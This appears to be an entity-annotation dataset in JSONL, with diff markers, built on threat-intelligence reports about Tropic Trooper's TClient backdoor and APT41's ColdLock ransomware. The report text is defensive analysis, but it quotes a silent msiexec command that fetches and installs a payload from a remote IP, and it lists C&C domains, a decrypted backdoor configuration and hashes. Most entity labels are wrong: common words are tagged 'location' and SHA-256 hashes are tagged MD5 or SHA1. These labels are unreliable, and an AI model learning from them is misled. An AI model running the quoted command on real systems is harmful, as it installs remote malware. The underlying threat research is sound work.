 {"id":13229,"text":"Read our technical brief, which discusses in full our analyses of Tropic Trooper’s recent activities, the USBferry malware, and IoCs.","entities":[{"id":41255,"label":"malware","start_offset":106,"end_offset":114},{"id":41256,"label":"location","start_offset":124,"end_offset":127}],"relations":[],"Comments":[]}
-{"id":13230,"text":"       Tags  APT & Targeted Attacks | Endpoints | Research | Ransomware | Network","entities":[{"id":41257,"label":"location","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]}
-{"id":13231,"text":"Tropic Trooper (also known as KeyBoy) levels its campaigns against Taiwanese, Philippine, and Hong Kong targets, focusing on their government, healthcare, transportation, and high-tech industries.","entities":[{"id":41260,"label":"location","start_offset":38,"end_offset":44},{"id":41263,"label":"location","start_offset":90,"end_offset":93},{"id":41265,"label":"location","start_offset":171,"end_offset":174}],"relations":[],"Comments":[]}
-{"id":13232,"text":"Its operators are believed to be very organized and develop their own cyberespionage tools that they fine-tuned in their recent campaigns.","entities":[{"id":41266,"label":"location","start_offset":14,"end_offset":17},{"id":41267,"label":"location","start_offset":48,"end_offset":51},{"id":41268,"label":"location","start_offset":101,"end_offset":105}],"relations":[],"Comments":[]}
-{"id":13233,"text":"Many of the tools they use now feature new behaviors, including a change in the way they maintain a foothold in the targeted network.","entities":[{"id":41269,"label":"location","start_offset":0,"end_offset":4},{"id":41270,"label":"location","start_offset":80,"end_offset":83}],"relations":[],"Comments":[]}
 {"id":13234,"text":" Attack Chain Figure 1. Attack chain of Tropic Trooper’s operations","entities":[],"relations":[],"Comments":[]}
 {"id":13235,"text":"Here’s a summary of the attack chain of Tropic Trooper’s recent campaigns:  ","entities":[],"relations":[],"Comments":[]}
 {"id":13236,"text":"Execute a command through exploits for CVE-2017-11882 or CVE-2018-0802, security flaws in Microsoft Office’s Equation Editor (EQNEDT32.EXE).","entities":[{"id":41274,"label":"location","start_offset":72,"end_offset":80},{"id":41275,"label":"identity","start_offset":90,"end_offset":99},{"id":41276,"label":"tools","start_offset":100,"end_offset":106},{"id":41277,"label":"threat-actor","start_offset":109,"end_offset":117}],"relations":[],"Comments":[]}
-{"id":13237,"text":"Download an installer package (.msi) and install it on the system by executing the command: \/c msiexec \/q \/i [hxxp:\/\/61[.]216[.]5[.]24\/in.sys]).","entities":[{"id":41278,"label":"location","start_offset":37,"end_offset":40}],"relations":[],"Comments":[]}
-{"id":13238,"text":"This system configuration file (in.sys) will drop a backdoor installer (UserInstall.exe) then delete itself.","entities":[{"id":41279,"label":"location","start_offset":40,"end_offset":44}],"relations":[],"Comments":[]}
-{"id":13239,"text":"The backdoor installer will drop a normal sidebar.exe file (a Windows Gadget tool, a feature already discontinued by Windows), a malicious loader (in \"C:\\ProgramData\\Apple\\Update\\wab32res.dll\"), and an encrypted configuration file.","entities":[{"id":41280,"label":"location","start_offset":23,"end_offset":27},{"id":41281,"label":"location","start_offset":35,"end_offset":41},{"id":41282,"label":"location","start_offset":77,"end_offset":81},{"id":41284,"label":"location","start_offset":195,"end_offset":198}],"relations":[],"Comments":[]}
 {"id":13240,"text":"UserInstall.exe will abuse the BITSadmin command-line tool to create a job and launch sidebar.exe.","entities":[{"id":41285,"label":"location","start_offset":16,"end_offset":20},{"id":41286,"label":"malware","start_offset":31,"end_offset":40},{"id":41287,"label":"location","start_offset":54,"end_offset":58},{"id":41288,"label":"location","start_offset":71,"end_offset":74},{"id":41289,"label":"location","start_offset":75,"end_offset":78}],"relations":[],"Comments":[]}
-{"id":13241,"text":"The malicious loader will use dynamic-link library (DLL) hijacking — injecting malicious code into a process of a file\/application — on sidebar.exe and launch dllhost.exe (a normal file).","entities":[{"id":41290,"label":"location","start_offset":21,"end_offset":25},{"id":41291,"label":"location","start_offset":43,"end_offset":50},{"id":41292,"label":"location","start_offset":148,"end_offset":151},{"id":41293,"label":"location","start_offset":174,"end_offset":180}],"relations":[],"Comments":[]}
-{"id":13242,"text":"The loader will then inject a DLL backdoor into dllhost.exe.","entities":[{"id":41294,"label":"location","start_offset":11,"end_offset":15}],"relations":[],"Comments":[]}
 {"id":13243,"text":" We also observed malicious documents that don’t need to download anything from the internet as the backdoor’s dropper is already embedded in the document.","entities":[],"relations":[],"Comments":[]}
-{"id":13244,"text":"This, however, doesn’t influence the overall result for the victim.","entities":[{"id":41295,"label":"location","start_offset":37,"end_offset":44}],"relations":[],"Comments":[]}
-{"id":13245,"text":"The backdoor will load the encrypted configuration file and decrypt it, then use Secure Sockets Layer (SSL) protocol to connect to command-and-control (C&C) servers.","entities":[{"id":41296,"label":"location","start_offset":13,"end_offset":17},{"id":41297,"label":"location","start_offset":18,"end_offset":22},{"id":41298,"label":"location","start_offset":56,"end_offset":59},{"id":41299,"label":"location","start_offset":103,"end_offset":106},{"id":41300,"label":"location","start_offset":139,"end_offset":142}],"relations":[],"Comments":[]}
 {"id":13246,"text":"Tropic Trooper uses exploit-laden Microsoft Office documents to deliver malware to targets.","entities":[],"relations":[],"Comments":[]}
-{"id":13247,"text":"These documents use job vacancies in organizations that may be deemed socio-politically sensitive to recipients.","entities":[{"id":41303,"label":"location","start_offset":20,"end_offset":23},{"id":41304,"label":"location","start_offset":56,"end_offset":59}],"relations":[],"Comments":[]}
 {"id":13248,"text":"Below is a screenshot of the document used in their latest campaigns: Figure 2.","entities":[],"relations":[],"Comments":[]}
 {"id":13249,"text":"Malicious document used by Tropic Trooper PDB Strings as Context Clues","entities":[{"id":41306,"label":"threat-actor","start_offset":27,"end_offset":41}],"relations":[],"Comments":[]}
-{"id":13250,"text":"The MSI file has two program database (PDB) strings inside: one belonging to the MSI file, and another for the backdoor installer (detected by Trend Micro as TROJ_TCDROP.ZTFB).","entities":[{"id":41308,"label":"location","start_offset":60,"end_offset":63},{"id":41309,"label":"location","start_offset":91,"end_offset":94}],"relations":[],"Comments":[]}
 {"id":13251,"text":"Figure 3.","entities":[],"relations":[],"Comments":[]}
 {"id":13252,"text":"PDB strings inside the MSI file","entities":[],"relations":[],"Comments":[]}
 {"id":13253,"text":"The first PDB string has a certain ss2\/Projects\/MsiWrapper (Project MsiWrapper) in it, which we found to be an open-source application that converts executable setup programs to MSI files.","entities":[{"id":41312,"label":"location","start_offset":35,"end_offset":38},{"id":41313,"label":"attack-pattern","start_offset":116,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":13254,"text":"The second PDB string contains Work, House, and TSSL: we can assume this tool belongs to Tropic Trooper’s TSSL project as seen by other researchers.","entities":[{"id":41316,"label":"location","start_offset":37,"end_offset":42},{"id":41317,"label":"location","start_offset":44,"end_offset":47},{"id":41318,"label":"location","start_offset":57,"end_offset":60},{"id":41319,"label":"location","start_offset":73,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":13255,"text":"Here it is a new one, as seen in their misspelling of “Horse” to “House” (other reports had the string typed correctly).","entities":[{"id":41321,"label":"location","start_offset":17,"end_offset":20},{"id":41322,"label":"location","start_offset":66,"end_offset":71}],"relations":[],"Comments":[]}
 {"id":13256,"text":"Another interesting PDB string we found is - D:\\Work\\Project\\VS\\house\\Apple\\Apple_20180115\\Release\\InstallClient.pdb.","entities":[],"relations":[],"Comments":[]}
-{"id":13257,"text":"At installation, the MSI file drops three files and creates one hidden directory (UFile) into C:\\ProgramData\\Apple\\Update\\, likely as a ruse.","entities":[{"id":41324,"label":"location","start_offset":48,"end_offset":51},{"id":41325,"label":"location","start_offset":60,"end_offset":63},{"id":41326,"label":"location","start_offset":124,"end_offset":130},{"id":41327,"label":"location","start_offset":136,"end_offset":140}],"relations":[],"Comments":[]}
-{"id":13258,"text":"It would then use sidebar.exe to load the malicious wab32res.dll (TROJ_TCLT.ZDFB) through DLL hijacking.","entities":[{"id":41328,"label":"location","start_offset":33,"end_offset":37}],"relations":[],"Comments":[]}
 {"id":13259,"text":"This is carried out to evade antivirus (AV) detection, because wab32res.dll is loaded by a benign file.","entities":[],"relations":[],"Comments":[]}
 {"id":13260,"text":"Figure 4.","entities":[],"relations":[],"Comments":[]}
 {"id":13261,"text":"The installer drops three files into the Apple\/Update directory Figure 5.","entities":[{"id":41331,"label":"identity","start_offset":41,"end_offset":46}],"relations":[],"Comments":[]}
 {"id":13262,"text":"PDB strings inside the loader file","entities":[],"relations":[],"Comments":[]}
-{"id":13263,"text":"From the PDB string above, the attackers intended it to be a loader (hence the name FakeRun) and not the actual backdoor.","entities":[{"id":41333,"label":"location","start_offset":93,"end_offset":96}],"relations":[],"Comments":[]}
-{"id":13264,"text":"FakeRun’s PDB string (D:\\Work\\Project\\VS\\house\\Apple\\Apple_20180115\\Release\\FakeRun.pdb) indicates the loader will execute dllhost.exe and inject one malicious DLL file, which is the backdoor, into this process.","entities":[{"id":41334,"label":"location","start_offset":110,"end_offset":114},{"id":41335,"label":"location","start_offset":135,"end_offset":138},{"id":41336,"label":"location","start_offset":146,"end_offset":149}],"relations":[],"Comments":[]}
 {"id":13265,"text":"The backdoor, TClient (BKDR_TCLT.ZDFB), is so named from its own PDB string.","entities":[{"id":41337,"label":"malware","start_offset":14,"end_offset":21}],"relations":[],"Comments":[]}
 {"id":13266,"text":"Figure 6.","entities":[],"relations":[],"Comments":[]}
 {"id":13267,"text":"TClient is injected into dllhost.exe Malware Analysis  wab32res.dll (FakeRun loader) loads TClient.","entities":[{"id":41339,"label":"malware","start_offset":0,"end_offset":7},{"id":41340,"label":"malware","start_offset":91,"end_offset":98}],"relations":[],"Comments":[]}
-{"id":13268,"text":"Once the loader is executed, it will check the current process (sidebar.exe) whether to load it or not.","entities":[{"id":41341,"label":"location","start_offset":32,"end_offset":36},{"id":41342,"label":"location","start_offset":37,"end_offset":42},{"id":41343,"label":"location","start_offset":88,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":13269,"text":"Successfully checking the loader will execute the dllhost.exe process and create a hardcode mutex to avoid injecting it into the wrong dllhost.exe, as there can be multiple instances of it depending on the number of programs using the Internet Information Services.","entities":[{"id":41344,"label":"location","start_offset":33,"end_offset":37},{"id":41345,"label":"location","start_offset":70,"end_offset":73},{"id":41346,"label":"location","start_offset":157,"end_offset":160}],"relations":[],"Comments":[]}
 {"id":13270,"text":"Figure 7.","entities":[],"relations":[],"Comments":[]}
 {"id":13271,"text":"The loader checking the sidebar process Figure 8.","entities":[],"relations":[],"Comments":[]}
 {"id":13272,"text":"The malicious loader injecting the backdoor into dllhost.exe Figure 9.","entities":[],"relations":[],"Comments":[]}
 {"id":13273,"text":"Comparison of TClient’s configuration format in 2016 (left, from other researchers) and 2018 (right) TClient will use SSL to connect to Tropic Trooper’s C&C server.","entities":[{"id":41350,"label":"malware","start_offset":14,"end_offset":21},{"id":41352,"label":"location","start_offset":84,"end_offset":87},{"id":41354,"label":"malware","start_offset":101,"end_offset":108},{"id":41355,"label":"location","start_offset":109,"end_offset":113},{"id":41356,"label":"location","start_offset":118,"end_offset":121}],"relations":[],"Comments":[]}
-{"id":13274,"text":"However, the C&C server and some configuration values are not hardcoded in the backdoor.","entities":[{"id":41358,"label":"location","start_offset":24,"end_offset":27},{"id":41359,"label":"location","start_offset":54,"end_offset":57}],"relations":[],"Comments":[]}
-{"id":13275,"text":"This allows Tropic Trooper’s operators to easily change\/update the C&C server and configure other values.","entities":[{"id":41361,"label":"location","start_offset":78,"end_offset":81}],"relations":[],"Comments":[]}
 {"id":13276,"text":"TClient is actually one of Tropic Trooper’s other backdoors.","entities":[{"id":41362,"label":"malware","start_offset":0,"end_offset":7},{"id":41363,"label":"location","start_offset":20,"end_offset":23}],"relations":[],"Comments":[]}
-{"id":13277,"text":"The backdoor noted by other security researchers was encoded with different algorithms and configured with different parameter names in 2016, for instance.","entities":[{"id":41365,"label":"location","start_offset":28,"end_offset":36},{"id":41366,"label":"location","start_offset":87,"end_offset":90}],"relations":[],"Comments":[]}
 {"id":13278,"text":"TClient uses symmetric encryption to decrypt its configuration with one 16-byte key in 2018.","entities":[{"id":41368,"label":"malware","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
 {"id":13279,"text":"The image and table below illustrate TClient’s encrypted configuration that we decrypted (via Python code):  Figure 10.","entities":[{"id":41372,"label":"location","start_offset":10,"end_offset":13},{"id":41373,"label":"malware","start_offset":37,"end_offset":44}],"relations":[],"Comments":[]}
 {"id":13280,"text":"Snapshot of code we used to decrypt TClient’s configuration Figure 11.","entities":[{"id":41375,"label":"malware","start_offset":36,"end_offset":43}],"relations":[],"Comments":[]}
 {"id":13281,"text":"Encrypted backdoor configuration","entities":[],"relations":[],"Comments":[]}
 {"id":13282,"text":"Description Decryption Strings","entities":[],"relations":[],"Comments":[]}
-{"id":13283,"text":"Check code MDDEFGEGETGIZ Addr1: tel.qpoe[.]com Addr2: elderscrolls.wikaba[.]com Addr3: tel.qpoe[.]com","entities":[{"id":41377,"label":"location","start_offset":0,"end_offset":5}],"relations":[],"Comments":[]}
-{"id":13284,"text":"Port1: 443 Port2: 443 Port3: 53 LoginPasswd: someone HostMark: mark","entities":[{"id":41380,"label":"location","start_offset":63,"end_offset":67}],"relations":[],"Comments":[]}
 {"id":13285,"text":"Proxy: 0","entities":[],"relations":[],"Comments":[]}
 {"id":13286,"text":"  Figure 12.","entities":[],"relations":[],"Comments":[]}
 {"id":13287,"text":"Decrypted backdoor configuration","entities":[],"relations":[],"Comments":[]}
 {"id":13288,"text":"Reverse analysis of TClient allowed us to determine how to decrypt the C&C information.","entities":[{"id":41382,"label":"malware","start_offset":20,"end_offset":27}],"relations":[],"Comments":[]}
 {"id":13289,"text":"TClient will use custom SSL libraries to connect the C&C server.","entities":[{"id":41383,"label":"malware","start_offset":0,"end_offset":7},{"id":41384,"label":"location","start_offset":8,"end_offset":12},{"id":41385,"label":"location","start_offset":24,"end_offset":27}],"relations":[],"Comments":[]}
-{"id":13290,"text":"We also found another SSL certificate on this C&C server.","entities":[{"id":41386,"label":"location","start_offset":22,"end_offset":25}],"relations":[],"Comments":[]}
-{"id":13291,"text":"A closer look reveals that it was registered quite recently, and is set to expire after a year, suggesting Tropic Trooper’s use or abuse of components or services that elapse so they can leave as few traces as possible.","entities":[{"id":41387,"label":"location","start_offset":61,"end_offset":64},{"id":41390,"label":"location","start_offset":183,"end_offset":186}],"relations":[],"Comments":[]}
 {"id":13292,"text":"Figure 13.","entities":[],"relations":[],"Comments":[]}
-{"id":13293,"text":"SSL certificate’s validity Following Tropic Trooper’s Trails","entities":[{"id":41392,"label":"location","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
-{"id":13294,"text":"We further monitored their activities and found three additional and notable PDB strings in their malware:  D:\\Work\\Project\\VS\\HSSL\\HSSL_Unicode _2\\Release\\ServiceClient.pdb D:\\Work\\VS\\Horse\\TSSL\\TSSL_v3.0\\TClient\\Release\\TClient.pdb D:\\Work\\VS\\Horse\\TSSL\\TSSL_v0.3.1_20170722\\TClient\\x64\\Release\\TClient.pdb  These came from open-intelligence platforms and incident response cases.","entities":[{"id":41394,"label":"location","start_offset":38,"end_offset":41},{"id":41395,"label":"location","start_offset":65,"end_offset":68},{"id":41396,"label":"location","start_offset":354,"end_offset":357}],"relations":[],"Comments":[]}
-{"id":13295,"text":"These strings shed further light on Tropic Trooper’s operations:  They have another campaign\/project named HSSL, which supports Unicode characters.","entities":[{"id":41397,"label":"location","start_offset":27,"end_offset":32},{"id":41399,"label":"location","start_offset":84,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":13296,"text":"The TSSL project has a v3.0 version, indicating the operators can mix and match different versions of their malware, depending on their target.","entities":[{"id":41400,"label":"location","start_offset":62,"end_offset":65},{"id":41401,"label":"location","start_offset":70,"end_offset":73},{"id":41402,"label":"location","start_offset":136,"end_offset":142}],"relations":[],"Comments":[]}
 {"id":13297,"text":"The TSSL project has 64-bit version.","entities":[{"id":41403,"label":"identity","start_offset":24,"end_offset":27}],"relations":[],"Comments":[]}
-{"id":13298,"text":" The Need for a Proactive Incident Response Strategy Cyberespionage campaigns are persistent and, as shown by Tropic Trooper, always raring to exploit weaknesses in people and technology.","entities":[{"id":41404,"label":"location","start_offset":78,"end_offset":81},{"id":41405,"label":"location","start_offset":93,"end_offset":96},{"id":41407,"label":"location","start_offset":172,"end_offset":175}],"relations":[],"Comments":[]}
-{"id":13299,"text":"For organizations, this highlights the significance of staying ahead of their attackers: detect, analyze, and respond.","entities":[{"id":41408,"label":"location","start_offset":106,"end_offset":109}],"relations":[],"Comments":[]}
-{"id":13300,"text":"What techniques will they use?","entities":[{"id":41409,"label":"location","start_offset":16,"end_offset":20}],"relations":[],"Comments":[]}
-{"id":13301,"text":"How can my organization’s attack surface be reduced?","entities":[{"id":41410,"label":"location","start_offset":4,"end_offset":7}],"relations":[],"Comments":[]}
-{"id":13302,"text":"What did I do to respond to the threat — what worked, what didn’t, and what could be fine-tuned?","entities":[{"id":41411,"label":"location","start_offset":67,"end_offset":70},{"id":41412,"label":"location","start_offset":85,"end_offset":89}],"relations":[],"Comments":[]}
-{"id":13303,"text":"A proactive incident response strategy provides threat intelligence — from the endpoint to the network — that can let IT\/system administrators identify malicious activities that aren’t typically visible to traditional security solutions.","entities":[{"id":41413,"label":"location","start_offset":110,"end_offset":113},{"id":41414,"label":"location","start_offset":178,"end_offset":181},{"id":41415,"label":"location","start_offset":218,"end_offset":226}],"relations":[],"Comments":[]}
 {"id":13304,"text":"TClient, for instance, uses DLL hijacking and injection that may not be as noticeable to others.","entities":[{"id":41416,"label":"malware","start_offset":0,"end_offset":7},{"id":41417,"label":"location","start_offset":42,"end_offset":45},{"id":41418,"label":"location","start_offset":61,"end_offset":64}],"relations":[],"Comments":[]}
-{"id":13305,"text":"Its use of the SSL protocol also means it can blend with legitimate traffic.","entities":[{"id":41419,"label":"location","start_offset":15,"end_offset":18},{"id":41420,"label":"location","start_offset":33,"end_offset":38},{"id":41421,"label":"location","start_offset":42,"end_offset":45}],"relations":[],"Comments":[]}
-{"id":13306,"text":"Analyzing their PDB strings can also provide a deeper insight into the campaign’s bigger picture.","entities":[{"id":41422,"label":"location","start_offset":28,"end_offset":31},{"id":41423,"label":"location","start_offset":71,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":13307,"text":"Ascertaining the tactics and techniques they use empower organizations in developing robust and actionable indicators of compromise (IoCs) that can act as benchmarks for response.","entities":[{"id":41424,"label":"location","start_offset":25,"end_offset":28},{"id":41425,"label":"location","start_offset":92,"end_offset":95},{"id":41426,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]}
-{"id":13308,"text":"Here are some best practices that organizations can adopt:  Keep the system, its applications, and the network updated.","entities":[{"id":41427,"label":"location","start_offset":5,"end_offset":8},{"id":41428,"label":"location","start_offset":14,"end_offset":18},{"id":41429,"label":"location","start_offset":48,"end_offset":51},{"id":41430,"label":"location","start_offset":95,"end_offset":98}],"relations":[],"Comments":[]}
 {"id":13309,"text":"The vulnerabilities that Tropic Trooper’s campaigns have been patched last January, for instance.","entities":[],"relations":[],"Comments":[]}
-{"id":13310,"text":"Enforce a stronger patch management policy, and consider virtual patching for legacy systems.","entities":[{"id":41433,"label":"location","start_offset":44,"end_offset":47}],"relations":[],"Comments":[]}
-{"id":13311,"text":"Enforce the principle of least privilege: Employ network segmentation and data categorization to deter lateral movement and mitigate further exposure.","entities":[{"id":41434,"label":"location","start_offset":70,"end_offset":73},{"id":41435,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":13312,"text":"Application control and behavior monitoring block suspicious files and anomalous routines from being installed or executed in the system.","entities":[{"id":41436,"label":"location","start_offset":20,"end_offset":23},{"id":41437,"label":"location","start_offset":67,"end_offset":70}],"relations":[],"Comments":[]}
 {"id":13313,"text":"Disable or secure the use of system administration tools such as PowerShell and other command-line tools that may be abused.","entities":[{"id":41438,"label":"attack-pattern","start_offset":65,"end_offset":75},{"id":41439,"label":"location","start_offset":76,"end_offset":79},{"id":41440,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":13314,"text":"Actively monitor your perimeter, from gateways and endpoints to networks and servers.","entities":[{"id":41441,"label":"location","start_offset":9,"end_offset":16},{"id":41442,"label":"location","start_offset":47,"end_offset":50},{"id":41443,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":13315,"text":"Firewalls as well as intrusion detection and prevention systems help thwart network-based attacks.","entities":[{"id":41444,"label":"location","start_offset":41,"end_offset":44}],"relations":[],"Comments":[]}
 {"id":13316,"text":"Nurture a culture of cybersecurity.","entities":[],"relations":[],"Comments":[]}
 {"id":13317,"text":"Spear-phishing emails, for instance, rely on baiting targets with socially engineered documents.","entities":[{"id":41445,"label":"location","start_offset":0,"end_offset":5},{"id":41446,"label":"attack-pattern","start_offset":6,"end_offset":14}],"relations":[],"Comments":[]}
-{"id":13318,"text":"The technologies that help protect the organization are only as good as the people who use them.","entities":[{"id":41447,"label":"location","start_offset":52,"end_offset":55},{"id":41448,"label":"location","start_offset":56,"end_offset":60},{"id":41449,"label":"location","start_offset":64,"end_offset":68},{"id":41450,"label":"location","start_offset":91,"end_offset":95}],"relations":[],"Comments":[]}
 {"id":13319,"text":"Indicators of Compromise (IoCs) Related Hashes (SHA-256): Detected as CVE-2018-0802.ZTFC:  1d128fd61c2c121d9f2e1628630833172427e5d486cdd4b6d567b7bdac13935e  BKDR_TCLT.ZDFB:  01087051f41df7bb030256c97497f69bc5b5551829da81b8db3f46ba622d8a69  BKDR64_TCLT.ZTFB:  6e900e5b6dc4f21a004c5b5908c81f055db0d7026b3c5e105708586f85d3e334  TROJ_SCLT.ZTFB:  49df4fec76a0ffaee5e4d933a734126c1a7b32d1c9cb5ab22a868e8bfc653245  TROJ_TCDROP.ZTFB:  b0f120b11f727f197353bc2c98d606ed08a06f14a1c012d3db6fe0a812df528a d65f809f7684b28a6fa2d9397582f350318027999be3acf1241ff44d4df36a3a 85d32cb3ae046a38254b953a00b37bb87047ec435edb0ce359a867447ee30f8b  TROJ_TCLT.ZDFB:  02281e26e89b61d84e2df66a0eeb729c5babd94607b1422505cd388843dd5456 fb9c9cbf6925de8c7b6ce8e7a8d5290e628be0b82a58f3e968426c0f734f38f6  URLs related to C&C communication:  qpoe[.]com wikaba[.]com tibetnews[.]today dns-stuff[.]com 2waky[.]com         Tags  Network | APT & Targeted Attacks | Research","entities":[{"id":41451,"label":"SHA2","start_offset":91,"end_offset":155},{"id":41452,"label":"MD5","start_offset":174,"end_offset":238},{"id":41453,"label":"SHA1","start_offset":259,"end_offset":323},{"id":41454,"label":"SHA1","start_offset":342,"end_offset":406},{"id":41455,"label":"SHA1","start_offset":427,"end_offset":491},{"id":41456,"label":"SHA2","start_offset":492,"end_offset":556},{"id":41457,"label":"SHA2","start_offset":557,"end_offset":621},{"id":41458,"label":"SHA2","start_offset":640,"end_offset":704},{"id":41459,"label":"SHA2","start_offset":705,"end_offset":769},{"id":41460,"label":"location","start_offset":901,"end_offset":904}],"relations":[],"Comments":[]}
-{"id":13320,"text":"On September 16, 2020, the United States Justice Department announced that it was charging five Chinese citizens with hacking crimes committed against over 100 institutions in the United States and abroad.","entities":[{"id":41468,"label":"location","start_offset":194,"end_offset":197}],"relations":[],"Comments":[]}
-{"id":13321,"text":"The global hacking campaign went after a diverse range of targets, from video game companies and telecommunications enterprises to universities and non-profit organizations.","entities":[{"id":41469,"label":"location","start_offset":19,"end_offset":27},{"id":41470,"label":"location","start_offset":49,"end_offset":54},{"id":41471,"label":"location","start_offset":93,"end_offset":96},{"id":41472,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]}
 {"id":13322,"text":"The five individuals were reportedly connected to the hacking group known as APT41.","entities":[],"relations":[],"Comments":[]}
-{"id":13323,"text":"At the time of writing, they remain fugitives, but two Malaysian citizens have been arrested for aiding the hackers.  Three related indictments unsealed by the Justice Department laid out the group's wide range of malicious activities, including crypto-jacking and ransomware attacks.","entities":[{"id":41475,"label":"location","start_offset":7,"end_offset":11},{"id":41480,"label":"location","start_offset":205,"end_offset":210},{"id":41481,"label":"location","start_offset":261,"end_offset":264}],"relations":[],"Comments":[]}
-{"id":13324,"text":"Most of the activities appear to have been done for profit, but some were for espionage purposes.","entities":[{"id":41482,"label":"location","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
 {"id":13325,"text":" Justice officials say that the group's intrusions allowed the hackers to steal source code, customer account data, and personally identifiable information (PII).","entities":[{"id":41484,"label":"attack-pattern","start_offset":80,"end_offset":86},{"id":41485,"label":"location","start_offset":116,"end_offset":119}],"relations":[],"Comments":[]}
-{"id":13326,"text":"Other notable activities include defrauding video game companies by manipulating in-game resources, and launching a ransomware attack on the network of a non-profit organization dedicated to combating global poverty.","entities":[{"id":41486,"label":"location","start_offset":100,"end_offset":103}],"relations":[],"Comments":[]}
-{"id":13327,"text":"The hackers used publicly available exploits and common vulnerabilities, which are listed in the official report.","entities":[{"id":41487,"label":"location","start_offset":45,"end_offset":48},{"id":41488,"label":"location","start_offset":79,"end_offset":82}],"relations":[],"Comments":[]}
-{"id":13328,"text":"They also employed sophisticated hacking techniques to gain and maintain access to the victim's computer networks.","entities":[{"id":41489,"label":"location","start_offset":60,"end_offset":63}],"relations":[],"Comments":[]}
-{"id":13329,"text":" The official report outlined how the team used \"supply chain attacks\" in which they compromised software providers and modified the code they were giving their customers.","entities":[{"id":41490,"label":"location","start_offset":49,"end_offset":55},{"id":41491,"label":"location","start_offset":116,"end_offset":119}],"relations":[],"Comments":[]}
-{"id":13330,"text":"This also allowed the threat actors to compromise the customers and spread their influence further.","entities":[{"id":41492,"label":"location","start_offset":64,"end_offset":67}],"relations":[],"Comments":[]}
 {"id":13331,"text":" This is not the first time that APT41 activities have been scrutinized — the group has been active for some time.","entities":[{"id":41494,"label":"location","start_offset":23,"end_offset":27},{"id":41495,"label":"threat-actor","start_offset":33,"end_offset":38},{"id":41496,"label":"location","start_offset":109,"end_offset":113}],"relations":[],"Comments":[]}
 {"id":13332,"text":"Just last May, Trend Micro connected the group to ransomware attacks on Taiwanese organizations.","entities":[],"relations":[],"Comments":[]}
-{"id":13333,"text":"The new ransomware family, which we dubbed ColdLock, is potentially destructive as it appears to target databases and email servers for encryption.","entities":[{"id":41501,"label":"location","start_offset":97,"end_offset":103},{"id":41502,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]}
 {"id":13334,"text":"The attack chain of ransomware incidents in Taiwan","entities":[],"relations":[],"Comments":[]}
-{"id":13335,"text":"The Trend Micro Research team investigated the ColdLock ransomware attack, which actually targeted the energy industry in Taiwan.","entities":[{"id":41506,"label":"location","start_offset":103,"end_offset":109},{"id":41507,"label":"location","start_offset":110,"end_offset":118}],"relations":[],"Comments":[]}
 {"id":13336,"text":"The ransomware attack chain is outlined in Figure 1; however, we currently do not know the initial arrival vector of this threat into a potential victim's network.","entities":[{"id":41510,"label":"tools","start_offset":107,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":13337,"text":"Our analysis focused on the way the attacker spreads the ransomware to infect as many machines as possible.","entities":[{"id":41511,"label":"location","start_offset":28,"end_offset":31},{"id":41512,"label":"location","start_offset":81,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":13338,"text":"  The threat actor enters a victim's network environment and obtains the account username and password of the company headquarters' active directory server.","entities":[{"id":41513,"label":"location","start_offset":57,"end_offset":60},{"id":41514,"label":"location","start_offset":90,"end_offset":93},{"id":41515,"label":"location","start_offset":118,"end_offset":130}],"relations":[],"Comments":[]}
 {"id":13339,"text":"After logging in to the active directory server, the threat actor modifies the active directory server group policy object — this includes a request that all domain account members create a scheduled task and execute the malware.","entities":[{"id":41516,"label":"attack-pattern","start_offset":190,"end_offset":204},{"id":41517,"label":"location","start_offset":205,"end_offset":208}],"relations":[],"Comments":[]}
 {"id":13340,"text":"  In the final step, the other subsidiary active directory servers and all the endpoint machines will download the scheduled task and execute the ransomware.         Figure.1 The attacker uses an Active Directory (AD) scheduled task to deploy the ransomware in the customer environment.","entities":[{"id":41518,"label":"location","start_offset":67,"end_offset":70},{"id":41519,"label":"location","start_offset":97,"end_offset":101},{"id":41520,"label":"attack-pattern","start_offset":115,"end_offset":129},{"id":41521,"label":"location","start_offset":130,"end_offset":133},{"id":41522,"label":"attack-pattern","start_offset":218,"end_offset":232}],"relations":[],"Comments":[]}
 {"id":13341,"text":"     Scheduled tasks play a very important role in this incident.","entities":[],"relations":[],"Comments":[]}
@@ -13344,123 +8835,47 @@
 {"id":13344,"text":"After that, the PowerShell command executes the main ransomware loader.","entities":[{"id":41529,"label":"attack-pattern","start_offset":16,"end_offset":26}],"relations":[],"Comments":[]}
 {"id":13345,"text":"     Figure 2.","entities":[],"relations":[],"Comments":[]}
 {"id":13346,"text":"How a scheduled task delivers the malware to a victim's environment","entities":[{"id":41531,"label":"attack-pattern","start_offset":6,"end_offset":20}],"relations":[],"Comments":[]}
-{"id":13347,"text":"    The right tool for the job","entities":[{"id":41532,"label":"location","start_offset":14,"end_offset":18},{"id":41533,"label":"location","start_offset":27,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":13348,"text":"Before the ransomware attack, the attacker was likely already hiding in the victims' environments for some time.","entities":[{"id":41534,"label":"location","start_offset":47,"end_offset":53},{"id":41535,"label":"location","start_offset":107,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":13349,"text":"We found the same customized loaders installed as Windows services in every victim's environment, and those infected machines were in positions that allowed them to reach other machines under the subnets.","entities":[{"id":41536,"label":"location","start_offset":13,"end_offset":17},{"id":41537,"label":"location","start_offset":98,"end_offset":101},{"id":41538,"label":"location","start_offset":157,"end_offset":161}],"relations":[],"Comments":[]}
 {"id":13350,"text":" The loaders decrypted the next-stage payloads, which were either embedded inside itself or stored on the disk as separate files.","entities":[],"relations":[],"Comments":[]}
